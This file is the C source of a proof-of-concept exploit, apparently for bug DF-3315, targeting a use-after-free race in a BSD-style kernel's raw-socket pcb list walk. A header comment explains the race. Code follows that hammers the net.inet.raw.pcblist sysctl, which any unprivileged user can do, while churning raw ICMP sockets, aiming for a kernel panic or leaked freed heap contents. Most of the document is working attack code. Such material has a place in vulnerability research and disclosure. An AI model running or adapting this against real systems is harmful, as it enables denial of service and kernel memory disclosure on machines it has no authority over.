DF-3315 / pcb_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 | /* * DF-3315 PoC -- unsynchronized in_pcblist_range() walk of a NON-shared * pcbinfo (ripcbinfo: infotoken == NULL) racing pcb teardown in netisr0. * * BUG (sys/netinet/in_pcb.c:2444-2495): * The sysctl walker (a USER thread migrated to pcbinfo->cpu via * lwkt_migratecpu) advances its list marker with a two-step, non-atomic * dance: * inp = LIST_NEXT(marker); * LIST_REMOVE(marker); * LIST_INSERT_AFTER(inp, marker); * For non-shared pcbinfo GET_PCBINFO_TOKEN() is a NO-OP, so nothing * serializes this against netisr0 (rip_detach -> in_pcbdetach -> * in_pcbofflist -> kfree(inp)). If netisr0 preempts the walker inside * that window and removes+frees `inp`, LIST_INSERT_AFTER writes the * marker pointer INTO FREED MEMORY and leaves the list inconsistent; * the subsequent inp->inp_flags / prison_xinpcb() / bcopy(inp, ...) * operate on freed (possibly recycled) memory. The marker only covers * the SYSCTL_OUT() sleep case, not same-cpu netisr preemption. * * MODES * -r seconds reader : hammer `sysctl net.inet.raw.pcblist`. * Runs UNPRIVILEGED (any user can read it). * -c nsec nsock churner : keep nsock raw ICMP sockets alive and * close/reopen one at a time (privileged; the * unprivileged equivalent is a setuid-ping * exec loop, since /sbin/ping is setuid-root * and each run creates+closes a raw socket). * * SUCCESS CRITERION: kernel panic (LIST corruption / wild deref in * prison_xinpcb / sotoxsocket / in_pcbofflist KASSERT) or garbage * (recycled-heap) content in the dumped xinpcb records. */ #include <sys/param.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static volatile sig_atomic_t stop; static void onsig(int sig __unused) { stop = 1; } static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (ts.tv_sec + ts.tv_nsec / 1e9); } static void reader(int seconds, int verbose) { int mib[4]; size_t miblen = 4; void *buf = NULL; size_t cap = 0; unsigned long dumps = 0, errs = 0, bytes = 0; double t0 = now(), t; if (sysctlnametomib("net.inet.raw.pcblist", mib, &miblen) < 0) { perror("sysctlnametomib(net.inet.raw.pcblist)"); exit(1); } while (!stop && (t = now()) - t0 < seconds) { size_t need, len; int error; /* sizing pass: oldptr == NULL */ need = 0; error = sysctl(mib, miblen, NULL, &need, NULL, 0); if (error) continue; if (need > cap) { free(buf); cap = need + need / 2 + 4096; buf = malloc(cap); if (buf == NULL) { perror("malloc"); exit(1); } } len = cap; error = sysctl(mib, miblen, buf, &len, NULL, 0); if (error) { errs++; /* ENOMEM when the list grew past our buffer */ continue; } dumps++; bytes += len; if (verbose && (dumps % 20000) == 0) fprintf(stderr, "reader: %lu dumps (%lu bytes)\n", dumps, bytes); } printf("reader: %lu dumps, %lu errors, %lu bytes in %.1fs " "(%.0f dumps/s)\n", dumps, errs, bytes, now() - t0, dumps / (now() - t0)); } static void churn(int seconds, int nsock) { int *fds; unsigned long cycles = 0, fails = 0; double t0 = now(); int i; fds = malloc(nsock * sizeof(int)); if (fds == NULL) { perror("malloc"); exit(1); } for (i = 0; i < nsock; i++) { fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (fds[i] < 0) { perror("socket(SOCK_RAW, ICMP)"); nsock = i; break; } } printf("churn: %d raw sockets held\n", nsock); if (nsock == 0) exit(1); i = 0; while (!stop && now() - t0 < seconds) { /* close one, then recreate it: each close removes a pcb * from ripcbinfo.pcblisthead in netisr0 (rip_detach -> * in_pcbdetach -> in_pcbofflist + kfree). */ close(fds[i]); fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (fds[i] < 0) { fails++; fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); } cycles++; i = (i + 1) % nsock; } printf("churn: %lu close+create cycles (%.0f/s), %lu fails\n", cycles, cycles / (now() - t0), fails); for (i = 0; i < nsock; i++) if (fds[i] >= 0) close(fds[i]); } static void usage(void) { fprintf(stderr, "usage: pcb_race -r seconds [-v]\n" " pcb_race -c seconds nsock\n"); exit(2); } int main(int argc, char **argv) { int ch, seconds = 60, nsock = 96, verbose = 0; void (*mode)(int, int) = NULL; while ((ch = getopt(argc, argv, "r:c:v")) != -1) { switch (ch) { case 'r': mode = reader; verbose = 0; seconds = atoi(optarg); nsock = 0; break; case 'c': mode = churn; seconds = atoi(optarg); nsock = (optind < argc) ? atoi(argv[optind]) : 96; break; case 'v': verbose = 1; break; default: usage(); } } if (mode == NULL) usage(); signal(SIGINT, onsig); signal(SIGTERM, onsig); mode(seconds, nsock ? nsock : verbose); return (0); } |